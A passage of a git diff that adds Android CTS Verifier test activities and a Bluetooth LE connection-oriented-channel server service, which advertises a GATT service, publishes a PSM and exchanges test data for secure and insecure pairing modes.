+        mIntent = new Intent(this, BleCocClientService.class);

+        mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT);

+

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
new file mode 100644
index 0000000..0370ab6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocSecureClientTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_secure_client_test_list_name,

+                R.string.ble_coc_secure_client_test_list_info,

+                -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
new file mode 100644
index 0000000..b7b04ac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocSecureServerStartActivity extends BleCocServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleCocServerService.class);
+        mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_SECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
new file mode 100644
index 0000000..84f541c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocSecureServerTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_secure_server_test_list_name, R.string.ble_coc_secure_server_test_list_info, -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        // TODO: Any need to remove certain tests based on supported features?

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
new file mode 100644
index 0000000..ee6342b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
@@ -0,0 +1,766 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattServer;
+import android.bluetooth.BluetoothGattServerCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothServerSocket;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.AdvertiseCallback;
+import android.bluetooth.le.AdvertiseData;
+import android.bluetooth.le.AdvertiseSettings;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.Timer;
+import java.util.UUID;
+
+public class BleCocServerService extends Service {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocServerService";
+
+    public static final int COMMAND_ADD_SERVICE = 0;
+    public static final int COMMAND_WRITE_CHARACTERISTIC = 1;
+    public static final int COMMAND_WRITE_DESCRIPTOR = 2;
+
+    public static final int TEST_DATA_EXCHANGE_BUFSIZE = 8 * 1024;
+
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+
+    public static final String BLE_ACTION_COC_SERVER_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_INSECURE";
+    public static final String BLE_ACTION_COC_SERVER_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_SECURE";
+
+    public static final String BLE_ACTION_SERVER_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_SECURE";
+    public static final String BLE_ACTION_SERVER_NON_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_NON_SECURE";
+
+    public static final String BLE_LE_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+    public static final String BLE_COC_LISTENER_CREATED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_LISTENER_CREATED";
+    public static final String BLE_PSM_READ =
+            "com.android.cts.verifier.bluetooth.BLE_PSM_READ";
+    public static final String BLE_COC_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+    public static final String BLE_CONNECTION_TYPE_CHECKED =
+            "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+    public static final String BLE_DATA_8BYTES_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+    public static final String BLE_DATA_LARGEBUF_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+    public static final String BLE_DATA_8BYTES_SENT =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+    public static final String BLE_LE_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+    public static final String BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES";
+    public static final String BLE_COC_SERVER_ACTION_EXCHANGE_DATA =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_EXCHANGE_DATA";
+    public static final String BLE_COC_SERVER_ACTION_DISCONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_DISCONNECT";
+
+    public static final String BLE_SERVER_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_SERVER_DISCONNECTED";
+    public static final String BLE_OPEN_FAIL =
+            "com.android.cts.verifier.bluetooth.BLE_OPEN_FAIL";
+    public static final String BLE_ADVERTISE_UNSUPPORTED =
+            "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
+    public static final String BLE_ADD_SERVICE_FAIL =
+            "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+
+    private static final UUID SERVICE_UUID =
+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_UUID =
+            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_RESULT_UUID =
+            UUID.fromString("00009974-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID =
+            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_UUID =
+            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
+    public static final UUID ADV_COC_SERVICE_UUID=
+            UUID.fromString("00003334-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID SERVICE_UUID_ADDITIONAL =
+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_UUID_INCLUDED =
+            UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+
+    // Variable for registration permission of Descriptor
+    private static final UUID DESCRIPTOR_NO_READ_UUID =
+            UUID.fromString("00009973-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NO_WRITE_UUID =
+            UUID.fromString("00009972-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009969-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009968-0000-1000-8000-00805f9b34fb");
+
+    private static final int CONN_INTERVAL = 150;   // connection interval 150ms
+
+    private static final int EXECUTION_DELAY = 1500;
+
+    // Delay of notification when secure test failed to start.
+    private static final long NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE = 5 * 1000;
+
+    public static final String WRITE_VALUE = "SERVER_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    private static final String INDICATE_VALUE = "INDICATE_TEST";
+    public static final String READ_NO_PERMISSION = "READ_NO_CHAR";
+    public static final String WRITE_NO_PERMISSION = "WRITE_NO_CHAR";
+    public static final String DESCRIPTOR_READ_NO_PERMISSION = "READ_NO_DESC";
+    public static final String DESCRIPTOR_WRITE_NO_PERMISSION = "WRITE_NO_DESC";
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothGattServer mGattServer;
+    private BluetoothGattService mService;
+    private BluetoothDevice mDevice;
+    private Handler mHandler;
+    private BluetoothLeAdvertiser mAdvertiser;
+    private boolean mSecure;
+    private int mMtuSize = -1;
+
+    private BluetoothServerSocket mServerSocket;
+    private int mPsm = -1;
+    private BluetoothGattCharacteristic mLePsmCharacteristic;
+    BluetoothChatService mChatService;
+
+    private int mNextReadExpectedLen = -1;
+    private String mNextReadCompletionIntent;
+    private int mTotalReadLen = 0;
+    private byte mNextReadByte;
+    private int mNextWriteExpectedLen = -1;
+    private String mNextWriteCompletionIntent = null;
+
+    // Handler for communicating task with peer.
+    private TestTaskQueue mTaskQueue;
+
+    // current test category
+    private String mCurrentAction;
+
+    // Task to notify failure of starting secure test.
+    //   Secure test calls BluetoothDevice#createBond() when devices were not paired.
+    //   createBond() causes onConnectionStateChange() twice, and it works as strange sequence.
+    //   At the first onConnectionStateChange(), target device is not paired (bond state is
+    //   BluetoothDevice.BOND_NONE).
+    //   At the second onConnectionStateChange(), target devices is paired (bond state is
+    //   BluetoothDevice.BOND_BONDED).
+    //   CTS Verifier will perform lazy check of bond state. Verifier checks bond state
+    //   after NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE from the first onConnectionStateChange().
+    private Runnable mNotificationTaskOfSecureTestStartFailure;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+
+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+        mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();
+        mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);
+
+        mService = createService();
+
+        mDevice = null;
+
+        mHandler = new Handler();
+        if (!mBluetoothManager.getAdapter().isEnabled()) {
+            notifyBluetoothDisabled();
+        } else if (mGattServer == null) {
+            notifyOpenFail();
+        } else if (mAdvertiser == null) {
+            notifyAdvertiseUnsupported();
+        } else {
+            // start adding services
+            mSecure = false;
+            if (!mGattServer.addService(mService)) {
+                notifyAddServiceFail();
+            }
+        }
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        String action = intent.getAction();
+        if (action != null) {
+            if (DEBUG) {
+                Log.d(TAG, "onStartCommand: action=" + action);
+            }
+            mTaskQueue.addTask(new Runnable() {
+                @Override
+                public void run() {
+                    onTestFinish(intent.getAction());
+                }
+            }, EXECUTION_DELAY);
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void startServerTest(boolean secure) {
+        mSecure = secure;
+
+        if (mBluetoothManager.getAdapter().isEnabled() && (mChatService == null)) {
+            createChatService();
+        }
+
+        if (mBluetoothManager.getAdapter().isEnabled() && (mAdvertiser != null)) {
+            startAdvertise();
+        }
+    }
+
+    private void sendMessage(byte[] buf) {
+        mChatService.write(buf);
+    }
+
+    private void sendData8bytes() {
+        if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+        final byte[] buf = new byte[]{1,2,3,4,5,6,7,8};
+        mNextWriteExpectedLen = 8;
+        mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+        sendMessage(buf);
+    }
+
+    private void sendDataLargeBuf() {
+        final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+        byte[] buf = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buf[i] = (byte)(i + 1);
+        }
+        mNextWriteExpectedLen = len;
+        mNextWriteCompletionIntent = null;
+        sendMessage(buf);
+    }
+
+    private void onTestFinish(String action) {
+        mCurrentAction = action;
+        if (mCurrentAction != null) {
+            switch (mCurrentAction) {
+                case BLE_ACTION_COC_SERVER_INSECURE:
+                    startServerTest(false);
+                    break;
+                case BLE_ACTION_COC_SERVER_SECURE:
+                    startServerTest(true);
+                    break;
+                case BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES:
+                    sendData8bytes();
+                    break;
+                case BLE_COC_SERVER_ACTION_EXCHANGE_DATA:
+                    sendDataLargeBuf();
+                    readDataLargeBuf();
+                    break;
+                case BLE_COC_SERVER_ACTION_DISCONNECT:
+                    if (mChatService != null) {
+                        mChatService.stop();
+                    }
+                    break;
+                default:
+                    Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+            }
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+
+        if (mChatService != null) {
+            mChatService.stop();
+        }
+
+        cancelNotificationTaskOfSecureTestStartFailure();
+        stopAdvertise();
+
+        mTaskQueue.quit();
+
+        if (mGattServer == null) {
+           return;
+        }
+        if (mDevice != null) {
+            mGattServer.cancelConnection(mDevice);
+        }
+        mGattServer.clearServices();
+        mGattServer.close();
+    }
+
+    private void notifyOpenFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyOpenFail");
+        }
+        Intent intent = new Intent(BLE_OPEN_FAIL);
+        sendBroadcast(intent);
+    }
+
+    private void notifyAddServiceFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAddServiceFail");
+        }
+        Intent intent = new Intent(BLE_ADD_SERVICE_FAIL);
+        sendBroadcast(intent);
+    }
+
+    private void notifyAdvertiseUnsupported() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAdvertiseUnsupported");
+        }
+        Intent intent = new Intent(BLE_ADVERTISE_UNSUPPORTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyConnected");
+        }
+        Intent intent = new Intent(BLE_LE_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyDisconnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDisconnected");
+        }
+        Intent intent = new Intent(BLE_SERVER_DISCONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private BluetoothGattService createService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+        BluetoothGattCharacteristic characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+        characteristic.setValue(WRITE_VALUE.getBytes());
+
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(WRITE_VALUE.getBytes());
+        characteristic.addDescriptor(descriptor);
+
+        BluetoothGattDescriptor descriptor_permission =
+            new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+        characteristic.addDescriptor(descriptor_permission);
+
+        descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
+        characteristic.addDescriptor(descriptor_permission);
+
+        service.addCharacteristic(characteristic);
+
+        // Registered the characteristic of PSM Value
+        mLePsmCharacteristic =
+                new BluetoothGattCharacteristic(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID,
+                                                BluetoothGattCharacteristic.PROPERTY_READ,
+                                                BluetoothGattCharacteristic.PERMISSION_READ);
+        service.addCharacteristic(mLePsmCharacteristic);
+
+        return service;
+    }
+
+    private void showMessage(final String msg) {
+        mHandler.post(new Runnable() {
+            public void run() {
+                Toast.makeText(BleCocServerService.this, msg, Toast.LENGTH_SHORT).show();
+            }
+        });
+    }
+
+    private synchronized void cancelNotificationTaskOfSecureTestStartFailure() {
+        if (mNotificationTaskOfSecureTestStartFailure != null) {
+            mHandler.removeCallbacks(mNotificationTaskOfSecureTestStartFailure);
+            mNotificationTaskOfSecureTestStartFailure = null;
+        }
+    }
+
+    private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: newState=" + newState);
+            }
+
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (newState == BluetoothProfile.STATE_CONNECTED) {
+                    mDevice = device;
+                    boolean bonded = false;
+                    Set<BluetoothDevice> pairedDevices =
+                        mBluetoothManager.getAdapter().getBondedDevices();
+                    if (pairedDevices.size() > 0) {
+                        for (BluetoothDevice target : pairedDevices) {
+                            if (target.getAddress().equals(device.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+
+                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) ||
+                                    !bonded)) {
+                        // not pairing and execute Secure Test
+                        Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+                              + "Not paired but execute secure test");
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+                                            || bonded)) {
+                        // already pairing and execute Insecure Test
+                        Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+                              + "Paired but execute insecure test");
+                    } else {
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                    }
+                    notifyConnected();
+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    notifyDisconnected();
+                    mDevice = null;
+                }
+            }
+        }
+
+        @Override
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+                BluetoothGattCharacteristic characteristic) {
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicReadRequest()");
+            }
+
+            boolean finished = false;
+            byte[] value = null;
+            if (mMtuSize > 0) {
+                byte[] buf = characteristic.getValue();
+                if (buf != null) {
+                    int len = Math.min((buf.length - offset), mMtuSize);
+                    if (len > 0) {
+                        value = Arrays.copyOfRange(buf, offset, (offset + len));
+                    }
+                    finished = ((offset + len) >= buf.length);
+                    if (finished) {
+                        Log.d(TAG, "sent whole data: " + (new String(characteristic.getValue())));
+                    }
+                }
+            } else {
+                value = characteristic.getValue();
+                finished = true;
+            }
+
+            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+
+            UUID uid = characteristic.getUuid();
+            if (uid.equals(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID)) {
+                Log.d(TAG, "onCharacteristicReadRequest: reading PSM");
+            }
+        }
+
+    };
+
+    private void leCheckConnectionType() {
+        if (mChatService == null) {
+            Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+            return;
+        }
+        int type = mChatService.getSocketConnectionType();
+        if (type != BluetoothSocket.TYPE_L2CAP) {
+            Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+            return;
+        }
+        showMessage("LE CoC Connection Type Checked");
+        Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+        sendBroadcast(intent);
+    }
+
+    private void readData8bytes() {
+        mNextReadExpectedLen = 8;
+        mTotalReadLen = 0;
+        mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+        mNextReadByte = 1;
+    }
+
+    private void readDataLargeBuf() {
+        mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        mTotalReadLen = 0;
+        mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+        mNextReadByte = 1;
+    }
+
+    private void processChatStateChange(int newState) {
+        Intent intent;
+        if (DEBUG) {
+            Log.d(TAG, "processChatStateChange: newState=" + newState);
+        }
+        switch (newState) {
+        case BluetoothChatService.STATE_LISTEN:
+            intent = new Intent(BLE_COC_LISTENER_CREATED);
+            sendBroadcast(intent);
+            break;
+        case BluetoothChatService.STATE_CONNECTED:
+            intent = new Intent(BLE_COC_CONNECTED);
+            sendBroadcast(intent);
+
+            // Check the connection type
+            leCheckConnectionType();
+
+            // Prepare the next data read
+            readData8bytes();
+            break;
+        }
+    }
+
+    private boolean checkReadBufContent(byte[] buf, int len) {
+        // Check that the content is correct
+        for (int i = 0; i < len; i++) {
+            if (buf[i] != mNextReadByte) {
+                Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+                      + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+                return false;
+            }
+            mNextReadByte++;
+        }
+        return true;
+    }
+
+    private void handleMessageRead(Message msg) {
+        byte[] buf = (byte[])msg.obj;
+        int len = msg.arg1;
+        if (len <= 0) {
+            return;
+        }
+        mTotalReadLen += len;
+        if (DEBUG) {
+            Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+                  + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+        }
+
+        if (mNextReadExpectedLen == mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+            showMessage("Read " + len + " bytes");
+            if (DEBUG) {
+                Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+            }
+            Intent intent = new Intent(mNextReadCompletionIntent);
+            sendBroadcast(intent);
+            mNextReadExpectedLen = -1;
+            mNextReadCompletionIntent = null;
+            mTotalReadLen = 0;
+        } else if (mNextReadExpectedLen > mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+        } else if (mNextReadExpectedLen < mTotalReadLen) {
+            Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+                  + ", expected len=" + mNextReadExpectedLen);
+        }
+    }
+
+    private void handleMessageWrite(Message msg) {
+        byte[] buffer = (byte[]) msg.obj;
+        int len = buffer.length;
+        showMessage("LE CoC Server wrote " + len + " bytes" + ", mNextWriteExpectedLen="
+                    + mNextWriteExpectedLen);
+        if (len == mNextWriteExpectedLen) {
+            if (mNextWriteCompletionIntent != null) {
+                Intent intent = new Intent(mNextWriteCompletionIntent);
+                sendBroadcast(intent);
+            }
+        } else {
+            Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+        }
+        mNextWriteCompletionIntent = null;
+        mNextWriteExpectedLen = -1;
+    }
+
+    private class ChatHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            if (DEBUG) {
+                Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+            }
+            switch (msg.what) {
+                case BluetoothChatService.MESSAGE_STATE_CHANGE:
+                    processChatStateChange(msg.arg1);
+                    break;
+                case BluetoothChatService.MESSAGE_READ:
+                    handleMessageRead(msg);
+                    break;
+                case BluetoothChatService.MESSAGE_WRITE:
+                    handleMessageWrite(msg);
+                    break;
+            }
+        }
+    }
+
+    /* Start the Chat Service to create the Bluetooth Server Socket for LE CoC */
+    private void createChatService() {
+
+        mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+        mChatService.start(mSecure);
+        mPsm = mChatService.getPsm(mSecure);
+        if (DEBUG) {
+            Log.d(TAG, "createChatService: assigned PSM=" + mPsm);
+        }
+        if (mPsm > 0x00ff) {
+            Log.e(TAG, "createChatService: Invalid PSM=" + mPsm);
+        }
+        // Notify that the PSM is read
+        Intent intent = new Intent(BLE_PSM_READ);
+        sendBroadcast(intent);
+
+        // Set the PSM value in the PSM characteristics in the GATT Server.
+        mLePsmCharacteristic.setValue(mPsm, BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+    }
+
+    private void startAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "startAdvertise");
+        }
+        AdvertiseData data = new AdvertiseData.Builder()
+            .addServiceData(new ParcelUuid(ADV_COC_SERVICE_UUID), new byte[]{1,2,3})
+            .addServiceUuid(new ParcelUuid(ADV_COC_SERVICE_UUID))
+            .build();
+        AdvertiseSettings setting = new AdvertiseSettings.Builder()
+            .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+            .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+            .setConnectable(true)
+            .build();
+        mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
+    }
+
+    private void stopAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "stopAdvertise");
+        }
+        if (mAdvertiser != null) {
+            mAdvertiser.stopAdvertising(mAdvertiseCallback);
+        }
+    }
+
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
